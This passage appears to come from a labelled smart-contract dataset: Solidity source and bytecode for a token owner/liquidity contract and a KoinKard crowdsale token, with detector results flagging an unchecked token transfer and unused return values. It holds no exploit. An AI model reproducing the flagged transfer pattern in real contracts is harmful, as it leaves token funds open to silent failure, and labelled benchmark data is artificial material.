liquidity); function factory() external pure returns (address); } interface UniswapPairV2 { function balanceOf(address owner) external view returns (uint); function transfer(address to, uint value) external returns (bool); } contract HaltOwnerV1 { Halt immutable public token; address public owner; address public pendingOwner; UniswapRouterV202 public router; UniswapPairV2 public pair; event OwnershipTransferred(address indexed oldOwner, address indexed newOwner); constructor (address tokenAddress, address routerAddress, address pairAddress) { owner = msg.sender; token = Halt(tokenAddress); router = UniswapRouterV202(routerAddress); pair = UniswapPairV2(pairAddress); } modifier isOwner() { require(msg.sender == owner, "NOT_OWNER"); _; } function changeOwner(address newOwner) external isOwner { pendingOwner = newOwner; } function acceptOwner() external { require(msg.sender == pendingOwner, "NOT_PENDING_OWNER"); emit OwnershipTransferred(owner, msg.sender); owner = msg.sender; pendingOwner = address(0); } function changeOwnerOfToken(address newOwner) external isOwner { token.changeOwner(newOwner); } function acceptOwnershipOfToken() external isOwner { token.acceptOwnership(); } function setSenderTaxed(address account, bool taxed) external isOwner { token.setSenderTaxed(account, taxed); } function setRecipientTaxed(address account, bool taxed) external isOwner { token.setRecipientTaxed(account, taxed); } function setAccountGetsRewards(address account, bool getsRewards) external isOwner { getsRewards ? token.includeAccountFromRewards(account) : token.excludeAccountFromRewards(account); } function addLiquidityETH( address tokenAddress, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity) { require(tokenAddress == address(token), "NOT_TOKEN"); // Turn off tax for this block token.disableReflectionForCurrentBlock(); // Transfer token from caller to this token.transferFrom(msg.sender, address(this), amountTokenDesired); // Approve Router on the amount of token token.approve(address(router), amountTokenDesired); // Perform the liquidity add (amountToken, amountETH, liquidity) = router.addLiquidityETH{value: msg.value}(tokenAddress, amountTokenDesired, amountTokenMin, amountETHMin, to, deadline); uint256 leftOver = token.balanceOf(address(this)); if (leftOver > 0) { // Transfer leftover ETH or tokens to the caller token.transfer(msg.sender, leftOver); } leftOver = address(this).balance; if (leftOver > 0) { payable(msg.sender).transfer(leftOver); } // Turn on tax for this block token.resetReflectDisabledBlock(); } function setRouterAndPair(address routerAddress, address pairAddress) external isOwner { router = UniswapRouterV202(routerAddress); pair = UniswapPairV2(pairAddress); } receive() external payable {} }
0x6080604052600436106100e15760003560e01c8063de233fee1161007f578063f305d71911610059578063f305d7191461026a578063f887ea4014610298578063f97575c0146102c5578063fc0c546a146102e557600080fd5b8063de233fee14610208578063e30c397814610228578063ebbc49651461025557600080fd5b8063a6f9dae1116100bb578063a6f9dae11461017b578063a8aa1b311461019b578063cf970218146101c8578063d724bb4e146101e857600080fd5b8063255f40b6146100ed57806328df3f181461010f5780638da5cb5b1461012457600080fd5b366100e857005b600080fd5b3480156100f957600080fd5b5061010d6101083660046111c0565b610319565b005b34801561011b57600080fd5b5061010d6103f2565b34801561013057600080fd5b506000546101519073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020015b60405180910390f35b34801561018757600080fd5b5061010d61019636600461119f565b6104f5565b3480156101a757600080fd5b506003546101519073ffffffffffffffffffffffffffffffffffffffff1681565b3480156101d457600080fd5b5061010d6101e33660046111f2565b6105bd565b3480156101f457600080fd5b5061010d6102033660046111f2565b61075d565b34801561021457600080fd5b5061010d6102233660046111f2565b61085a565b34801561023457600080fd5b506001546101519073ffffffffffffffffffffffffffffffffffffffff1681565b34801561026157600080fd5b5061010d610957565b61027d610278366004611228565b610a55565b60408051938452602084019290925290820152606001610172565b3480156102a457600080fd5b506002546101519073ffffffffffffffffffffffffffffffffffffffff1681565b3480156102d157600080fd5b5061010d6102e036600461119f565b611051565b3480156102f157600080fd5b506101517f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b81565b60005473ffffffffffffffffffffffffffffffffffffffff16331461039f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e4552000000000000000000000000000000000000000000000060448201526064015b60405180910390fd5b6002805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560038054929093169116179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b7f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b73ffffffffffffffffffffffffffffffffffffffff166379ba50976040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156104db57600080fd5b505af11580156104ef573d6000803e3d6000fd5b50505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331461063e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b806106e9576040517fb2f3d11c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301527f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b169063b2f3d11c906024015b600060405180830381600087803b1580156106cd57600080fd5b505af11580156106e1573d6000803e3d6000fd5b505050505050565b6040517f8220e8ce00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff83811660048301527f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b1690638220e8ce906024016106b3565b60005473ffffffffffffffffffffffffffffffffffffffff1633146107de576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b6040517fd724bb4e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff838116600483015282151560248301527f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b169063d724bb4e906044016106b3565b60005473ffffffffffffffffffffffffffffffffffffffff1633146108db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b6040517fde233fee00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff838116600483015282151560248301527f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b169063de233fee906044016106b3565b60015473ffffffffffffffffffffffffffffffffffffffff1633146109d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f4e4f545f50454e44494e475f4f574e45520000000000000000000000000000006044820152606401610396565b60008054604051339273ffffffffffffffffffffffffffffffffffffffff909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600180549091169055565b60008060007f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b73ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614610b0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f544f4b454e00000000000000000000000000000000000000000000006044820152606401610396565b7f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b73ffffffffffffffffffffffffffffffffffffffff166329b238426040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610b7757600080fd5b505af1158015610b8b573d6000803e3d6000fd5b50506040517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018b90527f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b73ffffffffffffffffffffffffffffffffffffffff1692506323b872dd9150606401602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b919061127f565b506002546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9182166004820152602481018a90527f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b9091169063095ea7b390604401602060405180830381600087803b158015610cf157600080fd5b505af1158015610d05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d29919061127f565b506002546040517ff305d71900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8b81166004830152602482018b9052604482018a905260648201899052878116608483015260a482018790529091169063f305d71990349060c4016060604051808303818588803b158015610dbc57600080fd5b505af1158015610dd0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df591906112b3565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015292955090935091506000907f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b73ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b158015610e8557600080fd5b505afa158015610e99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebd919061129b565b90508015610f8d576040517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018290527f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b73ffffffffffffffffffffffffffffffffffffffff169063a9059cbb90604401602060405180830381600087803b158015610f5357600080fd5b505af1158015610f67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8b919061127f565b505b50478015610fc457604051339082156108fc029083906000818181858888f19350505050158015610fc2573d6000803e3d6000fd5b505b7f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b73ffffffffffffffffffffffffffffffffffffffff1663830bb90a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561102c57600080fd5b505af1158015611040573d6000803e3d6000fd5b505050505096509650969350505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146110d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e455200000000000000000000000000000000000000000000006044820152606401610396565b6040517fa6f9dae100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82811660048301527f000000000000000000000000b156943814b50f9f8ac682a5fb0a793279be637b169063a6f9dae190602401600060405180830381600087803b15801561115b57600080fd5b505af115801561116f573d6000803e3d6000fd5b5050505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461119a57600080fd5b919050565b6000602082840312156111b0578081fd5b6111b982611176565b9392505050565b600080604083850312156111d2578081fd5b6111db83611176565b91506111e960208401611176565b90509250929050565b60008060408385031215611204578182fd5b61120d83611176565b9150602083013561121d816112e0565b809150509250929050565b60008060008060008060c08789031215611240578182fd5b61124987611176565b955060208701359450604087013593506060870135925061126c60808801611176565b915060a087013590509295509295509295565b600060208284031215611290578081fd5b81516111b9816112e0565b6000602082840312156112ac578081fd5b5051919050565b6000806000606084860312156112c7578283fd5b8351925060208401519150604084015190509250925092565b80151581146112ee57600080fd5b5056fea264697066735822122066a0a7051bade8acbeade3da1753c87fc8293a591d00c6ab4e4254a9c4ee862564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,617
0x029FBEe1C8966B0fb79747539c19842CBE9f1AF4
/** *Submitted for verification at Etherscan.io on 2021-03-16 */ pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 120000000*10**18; uint256 public constant basePrice = 750*10**18; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 120000000*10**18; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title KoinKard * @dev Contract to create the KoinKard **/ contract KoinKard is CrowdsaleToken { string public constant name = "KoinKard"; string public constant symbol = "KKD"; uint32 public constant decimals = 18; }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104c4578063095ea7b31461055457806318160ddd146105b957806323b872dd146105e4578063313ce56714610669578063355274ea146106a0578063518ab2a8146106cb57806366188463146106f657806370a082311461075b57806389311e6f146107b25780638da5cb5b146107c9578063903a3ef61461082057806395d89b4114610837578063a9059cbb146108c7578063bf5839031461092c578063c7876ea414610957578063cbcb317114610982578063d73dd623146109ad578063dd62ed3e14610a12578063f2fde38b14610a89575b60008060008060006001600281111561012757fe5b600560149054906101000a900460ff16600281111561014257fe5b14151561014e57600080fd5b60003411151561015d57600080fd5b600060045411151561016e57600080fd5b3494506101a7670de0b6b3a76400006101996828a857425466f8000088610acc90919063ffffffff16565b610b0490919063ffffffff16565b9350600092506a6342fd08f00f63780000006101ce85600354610b1a90919063ffffffff16565b111561024a576101f46003546a6342fd08f00f6378000000610b3690919063ffffffff16565b915061022c670de0b6b3a764000061021e6828a857425466f8000085610b0490919063ffffffff16565b610acc90919063ffffffff16565b90506102418186610b3690919063ffffffff16565b92508094508193505b61025f84600354610b1a90919063ffffffff16565b6003819055506102856003546a6342fd08f00f6378000000610b3690919063ffffffff16565b6004819055506000831115610341573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156102da573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b610392846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361044e84600154610b1a90919063ffffffff16565b600181905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156104bc573d6000803e3d6000fd5b505050505050005b3480156104d057600080fd5b506104d9610b4f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105195780820151818401526020810190506104fe565b50505050905090810190601f1680156105465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056057600080fd5b5061059f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b88565b604051808215151515815260200191505060405180910390f35b3480156105c557600080fd5b506105ce610c7a565b6040518082815260200191505060405180910390f35b3480156105f057600080fd5b5061064f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c84565b604051808215151515815260200191505060405180910390f35b34801561067557600080fd5b5061067e61103e565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156106ac57600080fd5b506106b5611043565b6040518082815260200191505060405180910390f35b3480156106d757600080fd5b506106e0611052565b6040518082815260200191505060405180910390f35b34801561070257600080fd5b50610741600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611058565b604051808215151515815260200191505060405180910390f35b34801561076757600080fd5b5061079c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e9565b6040518082815260200191505060405180910390f35b3480156107be57600080fd5b506107c7611331565b005b3480156107d557600080fd5b506107de6113e7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082c57600080fd5b5061083561140d565b005b34801561084357600080fd5b5061084c6114a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561088c578082015181840152602081019050610871565b50505050905090810190601f1680156108b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d357600080fd5b50610912600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114e0565b604051808215151515815260200191505060405180910390f35b34801561093857600080fd5b506109416116ff565b6040518082815260200191505060405180910390f35b34801561096357600080fd5b5061096c611705565b6040518082815260200191505060405180910390f35b34801561098e57600080fd5b50610997611712565b6040518082815260200191505060405180910390f35b3480156109b957600080fd5b506109f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611721565b604051808215151515815260200191505060405180910390f35b348015610a1e57600080fd5b50610a73600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061191d565b6040518082815260200191505060405180910390f35b348015610a9557600080fd5b50610aca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a4565b005b600080831415610adf5760009050610afe565b8183029050818382811515610af057fe5b04141515610afa57fe5b8090505b92915050565b60008183811515610b1157fe5b04905092915050565b60008183019050828110151515610b2d57fe5b80905092915050565b6000828211151515610b4457fe5b818303905092915050565b6040805190810160405280600881526020017f4b6f696e4b61726400000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cc157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d0e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9957600080fd5b610dea826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6a6342fd08f00f637800000081565b60035481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611169576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111fd565b61117c8382610b3690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138d57600080fd5b60028081111561139957fe5b600560149054906101000a900460ff1660028111156113b457fe5b141515156113c157600080fd5b6001600560146101000a81548160ff021916908360028111156113e057fe5b0217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146957600080fd5b60028081111561147557fe5b600560149054906101000a900460ff16600281111561149057fe5b1415151561149d57600080fd5b6114a5611afc565b565b6040805190810160405280600381526020017f4b4b44000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561151d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561156a57600080fd5b6115bb826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b3690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061164e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60045481565b6828a857425466f8000081565b6a6342fd08f00f637800000081565b60006117b282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff